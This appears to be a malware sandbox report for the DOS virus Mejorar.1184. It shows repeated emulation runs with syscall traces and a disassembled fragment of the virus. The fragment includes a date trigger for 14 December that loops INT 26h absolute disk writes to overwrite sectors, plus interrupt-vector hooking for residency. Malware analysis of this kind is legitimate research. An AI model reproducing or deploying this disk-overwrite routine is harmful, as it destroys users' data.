Sample viewer

vx.netlux.org/Virus.DOS.Mejorar.1184

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:50:48.774920907Z 202 PC: 12c35 | UNKNOWN!
2018-12-17T22:50:48.779673265Z 42 PC: 12c40 | Get date 0x12c40: cmp dl, 0xe
0x12c43: jne 0x12c67
0x12c45: cmp dh, 0xc
0x12c48: jne 0x12c67
0x12c4a: mov ah, 0xf
0x12c4c: int 0x10
0x12c4e: mov ah, 0
0x12c50: int 0x10
0x12c52: push cs
0x12c53: pop ds
0x12c54: mov bx, 0x2a0
0x12c57: xor dx, dx
0x12c59: mov cx, 1
0x12c5c: cli
0x12c5d: mov ax, 2
0x12c60: int 0x26
0x12c62: add dx, 1
0x12c65: jmp 0x12c5d
0x12c67: mov ax, 0x3521
0x12c6a: int 0x21
2018-12-17T22:50:48.782112136Z 53 PC: 12c6c | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:50:48.783735706Z 74 PC: 12c89 | Reallocate memory
2018-12-17T22:50:48.785246204Z 72 PC: 12c90 | Allocate memory
2018-12-17T22:50:48.787954512Z 37 PC: 12cb4 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:50:48.789386131Z 9 PC: 12a82 | Display string (String= 'Goat file (EXE). Size=000003E8h/0000001000d bytes. ')
2018-12-17T22:50:48.793663197Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10351,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:27:45.984774606Z 202 PC: 12c35 | UNKNOWN!
2018-12-25T12:27:45.985784892Z 42 PC: 12c40 | Get date 0x12c40: cmp dl, 0xe
0x12c43: jne 0x12c67
0x12c45: cmp dh, 0xc
0x12c48: jne 0x12c67
0x12c4a: mov ah, 0xf
0x12c4c: int 0x10
0x12c4e: mov ah, 0
0x12c50: int 0x10
0x12c52: push cs
0x12c53: pop ds
0x12c54: mov bx, 0x2a0
0x12c57: xor dx, dx
0x12c59: mov cx, 1
0x12c5c: cli
0x12c5d: mov ax, 2
0x12c60: int 0x26
0x12c62: add dx, 1
0x12c65: jmp 0x12c5d
0x12c67: mov ax, 0x3521
0x12c6a: int 0x21
2018-12-25T12:27:45.988161971Z 53 PC: 12c6c | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:27:45.989571043Z 74 PC: 12c89 | Reallocate memory
2018-12-25T12:27:45.990890344Z 72 PC: 12c90 | Allocate memory
2018-12-25T12:27:45.993124502Z 37 PC: 12cb4 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:27:45.994929455Z 9 PC: 12a82 | Display string (String= 'Goat file (EXE). Size=000003E8h/0000001000d bytes. ')
2018-12-25T12:27:46.001927136Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":14,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10351,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:27:47.081342488Z 202 PC: 12c35 | UNKNOWN!
2018-12-25T12:27:47.085586302Z 42 PC: 12c40 | Get date 0x12c40: cmp dl, 0xe
0x12c43: jne 0x12c67
0x12c45: cmp dh, 0xc
0x12c48: jne 0x12c67
0x12c4a: mov ah, 0xf
0x12c4c: int 0x10
0x12c4e: mov ah, 0
0x12c50: int 0x10
0x12c52: push cs
0x12c53: pop ds
0x12c54: mov bx, 0x2a0
0x12c57: xor dx, dx
0x12c59: mov cx, 1
0x12c5c: cli
0x12c5d: mov ax, 2
0x12c60: int 0x26
0x12c62: add dx, 1
0x12c65: jmp 0x12c5d
0x12c67: mov ax, 0x3521
0x12c6a: int 0x21
2018-12-25T12:27:47.088197534Z 53 PC: 12c6c | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:27:47.089449876Z 74 PC: 12c89 | Reallocate memory
2018-12-25T12:27:47.090912806Z 72 PC: 12c90 | Allocate memory
2018-12-25T12:27:47.092923654Z 37 PC: 12cb4 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T12:27:47.094528281Z 9 PC: 12a82 | Display string (String= 'Goat file (EXE). Size=000003E8h/0000001000d bytes. ')
2018-12-25T12:27:47.101316423Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":14,"Month":12,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10351,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:27:47.11551594Z 202 PC: 12c35 | UNKNOWN!
2018-12-25T12:27:47.11698788Z 42 PC: 12c40 | Get date 0x12c40: cmp dl, 0xe
0x12c43: jne 0x12c67
0x12c45: cmp dh, 0xc
0x12c48: jne 0x12c67
0x12c4a: mov ah, 0xf
0x12c4c: int 0x10
0x12c4e: mov ah, 0
0x12c50: int 0x10
0x12c52: push cs
0x12c53: pop ds
0x12c54: mov bx, 0x2a0
0x12c57: xor dx, dx
0x12c59: mov cx, 1
0x12c5c: cli
0x12c5d: mov ax, 2
0x12c60: int 0x26
0x12c62: add dx, 1
0x12c65: jmp 0x12c5d
0x12c67: mov ax, 0x3521
0x12c6a: int 0x21
2018-12-25T12:27:47.157807171Z 66 PC: 15c30 | Move file pointer
2018-12-25T12:27:47.267255561Z 59 PC: 109ed | Change current directory